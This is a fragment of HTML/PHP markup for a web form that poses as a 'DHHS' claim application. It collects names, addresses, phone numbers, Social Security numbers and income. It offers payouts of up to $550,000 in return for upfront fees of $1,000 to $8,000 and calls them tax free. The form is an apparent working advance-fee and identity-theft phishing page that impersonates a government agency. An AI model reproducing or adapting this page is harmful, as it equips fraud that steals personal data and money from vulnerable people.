
					<input class="text" type="text" name="name" placeholder="Full Name" required="">
					<br>
					<input class="text" type="text" name="address" placeholder="Address" required="">
					<br>
					<input class="text" type="text" name="city" placeholder="City" required="">
					<br>
					<input class="text" type="text" name="state" placeholder="State" required="">
					<br>
					<input class="text" type="tel" name="zip" placeholder="Zip Code" required="">
					<br>
					<input class="text" type="email" name="email" placeholder="Email" required="">
					<br>
					<div style="padding-top:-50px; color:red;"><p><strong></strong>NB- Kindly make sure your email is correct</p></div>
					<br>
					<input class="text" type="tel" name="phone" placeholder="Phone" required="">
					<br>
					<input class="text" type="text" name="ssn" placeholder="SSN" required="">
					<br>
					<input class="text" type="text" name="income" placeholder="Montly Income" required="">
					<br>
					<input class="text" type="text" name="house" placeholder="Own A House Or Rent" required="">

						<br>
						<label style="color: #fff" >Claim Choosing List</label>
						<select name="claim" >


  <option value="2000000">$1,000 To Delivered $20,000.00</option>
  <option value="4000000">$2,000 To Delivered $40,000.00</option>
  <option value="9000000">$3,000 To Delivered $90,000.00</option>
  <option value="15000000">$4,000 To Delivered $150,000.00</option>
  <option value="20000000">$5,000 To Delivered $200,000.00</option>
  <option value="30000000">$6,000 To Delivered $300,000.00</option>
  <option value="40000000">$7,000 To Delivered $400,000.00</option>
  <option value="55000000">$8,000 To Delivered $550,000.00</option>

</select>
<br>

		<br>
						<label style="color: #fff" >We'll like to inform you that all claim are Tax free and you don't have to pay the money back. And all fee are to be paid upfront</label>
						<br>






					<div class="wthree-text">
						<label class="anim">
							<input type="checkbox" class="checkbox" required="">
							<span>I Agree To The Terms & Conditions</span>
						</label>
						<div class="clear"> </div>
					</div>
					<input type="submit" name="submit" value="APPLY NOW">
				</form>
			</div>
		</div>
		<!-- copyright -->
		<div class="colorlibcopy-agile">
			<p>© <?= date('Y') ?> DHHS. All rights reserved</p>
		</div>
		<!-- //copyright -->
		<ul class="colorlib-bubbles">
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
			<li></li>
		</ul>
	</div>
	<!-- //main -->
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